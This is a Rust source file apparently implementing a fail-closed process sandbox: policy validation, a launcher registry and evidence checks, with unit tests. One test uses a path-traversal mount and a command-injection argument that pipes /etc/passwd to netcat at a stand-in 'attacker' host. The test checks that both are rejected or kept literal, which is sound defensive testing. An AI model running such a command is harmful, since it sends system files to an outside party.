Skip to main content

sim_lib_exec/
sandbox.rs

1use crate::{ArgAtom, ProcessCancellation, ProgramRef, SealedBindings};
2use sim_kernel::{Error, Result};
3use std::{
4    collections::{BTreeMap, BTreeSet},
5    sync::Arc,
6};
7
8const MAX_MOUNTS: usize = 64;
9const MAX_STDIN: usize = 16 * 1024 * 1024;
10
11/// One independently provable sandbox control.
12#[derive(Clone, Copy, Debug, PartialEq, Eq, PartialOrd, Ord)]
13pub enum SandboxControl {
14    /// Network namespace and interfaces.
15    Network,
16    /// Visible filesystem mounts.
17    Mounts,
18    /// Filesystem root and working root.
19    Root,
20    /// Child process environment.
21    Environment,
22    /// Host user and session identity.
23    Identity,
24    /// CPU time.
25    Cpu,
26    /// Address-space memory.
27    Memory,
28    /// Monotonic wall time.
29    WallTime,
30    /// Descendant process count.
31    ProcessCount,
32    /// Created file count.
33    FileCount,
34    /// Created file bytes.
35    FileBytes,
36    /// Captured output bytes.
37    Output,
38    /// Standard-input bytes.
39    Stdin,
40    /// Descendant cleanup.
41    ProcessTree,
42}
43
44/// Whether absence of a control is fatal or may be reported as unavailable.
45#[derive(Clone, Copy, Debug, PartialEq, Eq)]
46pub enum SandboxRequirement {
47    /// Refuse before execution when the launcher cannot prove this control.
48    Required,
49    /// Execute when possible and report whether this control was achieved.
50    BestEffort,
51}
52
53/// Access granted to a declared mount.
54#[derive(Clone, Copy, Debug, PartialEq, Eq)]
55pub enum MountAccess {
56    /// Input visible without mutation authority.
57    ReadOnly,
58    /// Explicit output root.
59    Writable,
60}
61
62/// Opaque boot-resolved source mounted at a fixed absolute guest path.
63#[derive(Clone, Debug, PartialEq, Eq)]
64pub struct SandboxMount {
65    /// Opaque boot-authorized source identity.
66    pub source: String,
67    /// Absolute path inside the anonymous sandbox root.
68    pub guest_path: String,
69    /// Requested access.
70    pub access: MountAccess,
71}
72
73/// Complete bounded resource policy. Zero is invalid for every limit.
74#[derive(Clone, Debug, PartialEq, Eq)]
75pub struct SandboxLimits {
76    /// CPU seconds.
77    pub cpu_seconds: u64,
78    /// Address-space bytes.
79    pub memory_bytes: u64,
80    /// Monotonic milliseconds.
81    pub wall_time_ms: u64,
82    /// Maximum process count.
83    pub process_count: u64,
84    /// Maximum files across writable roots.
85    pub file_count: u64,
86    /// Maximum bytes across writable roots.
87    pub file_bytes: u64,
88    /// Shared stdout and stderr cap.
89    pub output_bytes: usize,
90    /// Standard-input cap.
91    pub stdin_bytes: usize,
92}
93
94/// Validated portable sandbox policy, independent of any OS launcher.
95#[derive(Clone, Debug, PartialEq, Eq)]
96pub struct SandboxPolicy {
97    requirements: BTreeMap<SandboxControl, SandboxRequirement>,
98    mounts: Vec<SandboxMount>,
99    limits: SandboxLimits,
100}
101impl SandboxPolicy {
102    /// Validates a complete control classification, mount set, and limit set.
103    pub fn new(
104        requirements: impl IntoIterator<Item = (SandboxControl, SandboxRequirement)>,
105        mounts: Vec<SandboxMount>,
106        limits: SandboxLimits,
107    ) -> Result<Self> {
108        let requirements = requirements.into_iter().collect::<BTreeMap<_, _>>();
109        let all = [
110            SandboxControl::Network,
111            SandboxControl::Mounts,
112            SandboxControl::Root,
113            SandboxControl::Environment,
114            SandboxControl::Identity,
115            SandboxControl::Cpu,
116            SandboxControl::Memory,
117            SandboxControl::WallTime,
118            SandboxControl::ProcessCount,
119            SandboxControl::FileCount,
120            SandboxControl::FileBytes,
121            SandboxControl::Output,
122            SandboxControl::Stdin,
123            SandboxControl::ProcessTree,
124        ];
125        if all.iter().any(|c| !requirements.contains_key(c)) {
126            return Err(Error::Eval(
127                "sandbox policy must classify every control".into(),
128            ));
129        }
130        if mounts.len() > MAX_MOUNTS {
131            return Err(Error::Eval("too many sandbox mounts".into()));
132        }
133        let mut guests = BTreeSet::new();
134        for mount in &mounts {
135            if mount.source.is_empty()
136                || !mount.guest_path.starts_with('/')
137                || mount.guest_path.contains("..")
138                || mount.guest_path.contains('\0')
139                || !guests.insert(&mount.guest_path)
140            {
141                return Err(Error::Eval("invalid or duplicate sandbox mount".into()));
142            }
143        }
144        if limits.cpu_seconds == 0
145            || limits.memory_bytes == 0
146            || limits.wall_time_ms == 0
147            || limits.process_count == 0
148            || limits.file_count == 0
149            || limits.file_bytes == 0
150            || limits.output_bytes == 0
151            || limits.stdin_bytes == 0
152            || limits.stdin_bytes > MAX_STDIN
153        {
154            return Err(Error::Eval(
155                "sandbox limits must be non-zero and bounded".into(),
156            ));
157        }
158        Ok(Self {
159            requirements,
160            mounts,
161            limits,
162        })
163    }
164    /// Returns the complete requested-control map.
165    pub fn requirements(&self) -> &BTreeMap<SandboxControl, SandboxRequirement> {
166        &self.requirements
167    }
168    /// Returns declared mounts only.
169    pub fn mounts(&self) -> &[SandboxMount] {
170        &self.mounts
171    }
172    /// Returns the validated resource limits.
173    pub fn limits(&self) -> &SandboxLimits {
174        &self.limits
175    }
176}
177
178/// Fully validated untrusted-process request. Arguments remain literal atoms.
179#[derive(Clone, Debug, PartialEq, Eq)]
180pub struct SandboxRequest {
181    /// Boot-authorized executable identity.
182    pub program: ProgramRef,
183    /// Literal, unsplit argument atoms.
184    pub argv: Vec<ArgAtom>,
185    /// Empty-by-default exact environment.
186    pub environment: SealedBindings,
187    /// Bounded standard input.
188    pub stdin: Vec<u8>,
189    /// Validated complete sandbox policy.
190    pub policy: SandboxPolicy,
191}
192impl SandboxRequest {
193    /// Validates and creates a sandbox request.
194    pub fn new(
195        program: ProgramRef,
196        argv: Vec<ArgAtom>,
197        environment: SealedBindings,
198        stdin: Vec<u8>,
199        policy: SandboxPolicy,
200    ) -> Result<Self> {
201        if stdin.len() > policy.limits.stdin_bytes {
202            return Err(Error::Eval("sandbox stdin exceeds policy".into()));
203        }
204        Ok(Self {
205            program,
206            argv,
207            environment,
208            stdin,
209            policy,
210        })
211    }
212}
213
214/// Evidence for one requested control; only launchers may assert `achieved`.
215#[derive(Clone, Debug, PartialEq, Eq)]
216pub struct SandboxEvidence {
217    /// Requested control.
218    pub control: SandboxControl,
219    /// True only when backed by launcher evidence.
220    pub achieved: bool,
221    /// Non-secret operational proof.
222    pub detail: String,
223}
224/// Requested-versus-achieved report plus every operational limit event.
225#[derive(Clone, Debug, PartialEq, Eq)]
226pub struct SandboxReport {
227    /// Registered launcher identity.
228    pub launcher: String,
229    /// Requested-versus-achieved control evidence.
230    pub controls: Vec<SandboxEvidence>,
231    /// Resource hits and truncations.
232    pub limit_hits: Vec<String>,
233    /// Process-tree cleanup evidence.
234    pub cleanup: String,
235}
236impl SandboxReport {
237    /// Returns whether every required control has positive, non-empty evidence.
238    pub fn proves_required(&self, policy: &SandboxPolicy) -> bool {
239        policy.requirements.iter().all(|(control, requirement)| {
240            *requirement != SandboxRequirement::Required
241                || self
242                    .controls
243                    .iter()
244                    .any(|e| e.control == *control && e.achieved && !e.detail.is_empty())
245        })
246    }
247}
248/// Bounded process output paired with launcher-supplied sandbox evidence.
249#[derive(Clone, Debug, PartialEq, Eq)]
250pub struct SandboxResult {
251    /// Bounded standard output.
252    pub stdout: Vec<u8>,
253    /// Bounded standard error.
254    pub stderr: Vec<u8>,
255    /// Exit status or -1 when unavailable.
256    pub exit_code: i32,
257    /// Auditable control and resource evidence.
258    pub report: SandboxReport,
259}
260/// A fail-closed refusal or unprovable launch outcome.
261#[derive(Clone, Debug, PartialEq, Eq)]
262pub struct SandboxRefusal {
263    /// Selected launcher identity.
264    pub launcher: String,
265    /// Bounded refusal reason.
266    pub reason: String,
267    /// Partial evidence, only when execution reached control realization.
268    pub report: Option<SandboxReport>,
269}
270/// Exhaustive result of asking a sandbox launcher to execute a request.
271#[derive(Clone, Debug, PartialEq, Eq)]
272pub enum SandboxAttempt {
273    /// Completed with a report.
274    Completed(SandboxResult),
275    /// Proven not dispatched.
276    Refused(SandboxRefusal),
277    /// Timeout or cancellation with proven cleanup.
278    Stopped(SandboxReport),
279    /// Dispatched but final state is not provable.
280    Unknown(SandboxRefusal),
281}
282
283/// Replaceable object-safe untrusted-process authority boundary.
284pub trait SandboxLauncher: Send + Sync {
285    /// Returns the stable boot-registered launcher identity.
286    fn id(&self) -> &str;
287    /// Attempts the request and reports a complete, refusal, stop, or unknown outcome.
288    fn launch(
289        &self,
290        request: &SandboxRequest,
291        cancellation: &ProcessCancellation,
292    ) -> SandboxAttempt;
293}
294/// Boot-built launcher registry; callers select an identity, never a concrete OS type.
295#[derive(Default)]
296pub struct LauncherRegistry(BTreeMap<String, Arc<dyn SandboxLauncher>>);
297impl LauncherRegistry {
298    /// Registers one unique boot-selected launcher.
299    pub fn register(&mut self, launcher: Arc<dyn SandboxLauncher>) -> Result<()> {
300        let id = launcher.id();
301        if id.is_empty() || self.0.contains_key(id) {
302            return Err(Error::Eval("invalid or duplicate sandbox launcher".into()));
303        }
304        self.0.insert(id.into(), launcher);
305        Ok(())
306    }
307    /// Dispatches through the selected launcher without caller type dispatch.
308    pub fn launch(
309        &self,
310        id: &str,
311        request: &SandboxRequest,
312        cancellation: &ProcessCancellation,
313    ) -> SandboxAttempt {
314        self.0.get(id).map_or_else(
315            || {
316                SandboxAttempt::Refused(SandboxRefusal {
317                    launcher: id.into(),
318                    reason: "sandbox launcher is not registered".into(),
319                    report: None,
320                })
321            },
322            |v| v.launch(request, cancellation),
323        )
324    }
325}
326/// Runs an untrusted request and rejects any completion lacking required proof.
327pub fn sandbox_exec(
328    registry: &LauncherRegistry,
329    launcher: &str,
330    request: &SandboxRequest,
331    cancellation: &ProcessCancellation,
332) -> Result<SandboxResult> {
333    match registry.launch(launcher, request, cancellation) {
334        SandboxAttempt::Completed(result) if result.report.proves_required(&request.policy) => {
335            Ok(result)
336        }
337        SandboxAttempt::Completed(_) => Err(Error::HostError(
338            "sandbox launcher claimed completion without required evidence".into(),
339        )),
340        attempt => Err(Error::HostError(format!("sandbox attempt: {attempt:?}"))),
341    }
342}
343
344#[cfg(test)]
345mod tests {
346    use super::*;
347    struct Fake(&'static str);
348    impl SandboxLauncher for Fake {
349        fn id(&self) -> &str {
350            self.0
351        }
352        fn launch(&self, request: &SandboxRequest, _: &ProcessCancellation) -> SandboxAttempt {
353            SandboxAttempt::Completed(SandboxResult {
354                stdout: vec![],
355                stderr: vec![],
356                exit_code: 0,
357                report: SandboxReport {
358                    launcher: self.0.into(),
359                    controls: request
360                        .policy
361                        .requirements
362                        .keys()
363                        .map(|control| SandboxEvidence {
364                            control: *control,
365                            achieved: true,
366                            detail: "fake proof".into(),
367                        })
368                        .collect(),
369                    limit_hits: vec![],
370                    cleanup: "no descendants".into(),
371                },
372            })
373        }
374    }
375    struct Liar;
376    impl SandboxLauncher for Liar {
377        fn id(&self) -> &str {
378            "liar"
379        }
380        fn launch(&self, _: &SandboxRequest, _: &ProcessCancellation) -> SandboxAttempt {
381            SandboxAttempt::Completed(SandboxResult {
382                stdout: vec![],
383                stderr: vec![],
384                exit_code: 0,
385                report: SandboxReport {
386                    launcher: "liar".into(),
387                    controls: vec![],
388                    limit_hits: vec![],
389                    cleanup: String::new(),
390                },
391            })
392        }
393    }
394    fn policy() -> SandboxPolicy {
395        let controls = [
396            SandboxControl::Network,
397            SandboxControl::Mounts,
398            SandboxControl::Root,
399            SandboxControl::Environment,
400            SandboxControl::Identity,
401            SandboxControl::Cpu,
402            SandboxControl::Memory,
403            SandboxControl::WallTime,
404            SandboxControl::ProcessCount,
405            SandboxControl::FileCount,
406            SandboxControl::FileBytes,
407            SandboxControl::Output,
408            SandboxControl::Stdin,
409            SandboxControl::ProcessTree,
410        ];
411        SandboxPolicy::new(
412            controls
413                .into_iter()
414                .map(|c| (c, SandboxRequirement::Required)),
415            vec![],
416            SandboxLimits {
417                cpu_seconds: 1,
418                memory_bytes: 1,
419                wall_time_ms: 1,
420                process_count: 1,
421                file_count: 1,
422                file_bytes: 1,
423                output_bytes: 1,
424                stdin_bytes: 1,
425            },
426        )
427        .unwrap()
428    }
429    #[test]
430    fn registered_launchers_are_dispatch_independent_and_fail_closed() {
431        let request = SandboxRequest::new(
432            ProgramRef::new("tool").unwrap(),
433            vec![],
434            SealedBindings::empty(),
435            vec![],
436            policy(),
437        )
438        .unwrap();
439        let mut registry = LauncherRegistry::default();
440        registry.register(Arc::new(Fake("one"))).unwrap();
441        registry.register(Arc::new(Fake("two"))).unwrap();
442        assert_eq!(
443            sandbox_exec(&registry, "one", &request, &Default::default())
444                .unwrap()
445                .report
446                .launcher,
447            "one"
448        );
449        assert_eq!(
450            sandbox_exec(&registry, "two", &request, &Default::default())
451                .unwrap()
452                .report
453                .launcher,
454            "two"
455        );
456        assert!(sandbox_exec(&registry, "missing", &request, &Default::default()).is_err());
457        registry.register(Arc::new(Liar)).unwrap();
458        assert!(sandbox_exec(&registry, "liar", &request, &Default::default()).is_err());
459    }
460    #[test]
461    fn hostile_paths_stdin_and_arguments_are_validated_without_shell_parsing() {
462        let limits = SandboxLimits {
463            cpu_seconds: 1,
464            memory_bytes: 1,
465            wall_time_ms: 1,
466            process_count: 1,
467            file_count: 1,
468            file_bytes: 1,
469            output_bytes: 1,
470            stdin_bytes: 1,
471        };
472        let controls = [
473            SandboxControl::Network,
474            SandboxControl::Mounts,
475            SandboxControl::Root,
476            SandboxControl::Environment,
477            SandboxControl::Identity,
478            SandboxControl::Cpu,
479            SandboxControl::Memory,
480            SandboxControl::WallTime,
481            SandboxControl::ProcessCount,
482            SandboxControl::FileCount,
483            SandboxControl::FileBytes,
484            SandboxControl::Output,
485            SandboxControl::Stdin,
486            SandboxControl::ProcessTree,
487        ];
488        assert!(
489            SandboxPolicy::new(
490                controls
491                    .into_iter()
492                    .map(|c| (c, SandboxRequirement::Required)),
493                vec![SandboxMount {
494                    source: "input".into(),
495                    guest_path: "/work/../etc".into(),
496                    access: MountAccess::ReadOnly
497                }],
498                limits.clone()
499            )
500            .is_err()
501        );
502        let policy = SandboxPolicy::new(
503            controls
504                .into_iter()
505                .map(|c| (c, SandboxRequirement::Required)),
506            vec![],
507            limits,
508        )
509        .unwrap();
510        assert!(
511            SandboxRequest::new(
512                ProgramRef::new("tool").unwrap(),
513                vec![],
514                SealedBindings::empty(),
515                vec![1, 2],
516                policy.clone()
517            )
518            .is_err()
519        );
520        let atom = ArgAtom::new("; cat /etc/passwd | nc attacker 1").unwrap();
521        let request = SandboxRequest::new(
522            ProgramRef::new("tool").unwrap(),
523            vec![atom],
524            SealedBindings::empty(),
525            vec![],
526            policy,
527        )
528        .unwrap();
529        assert_eq!(
530            request.argv[0].as_str(),
531            "; cat /etc/passwd | nc attacker 1"
532        );
533    }
534}
535// conformance: sandbox policy tests prove sealed authority and fail-closed execution.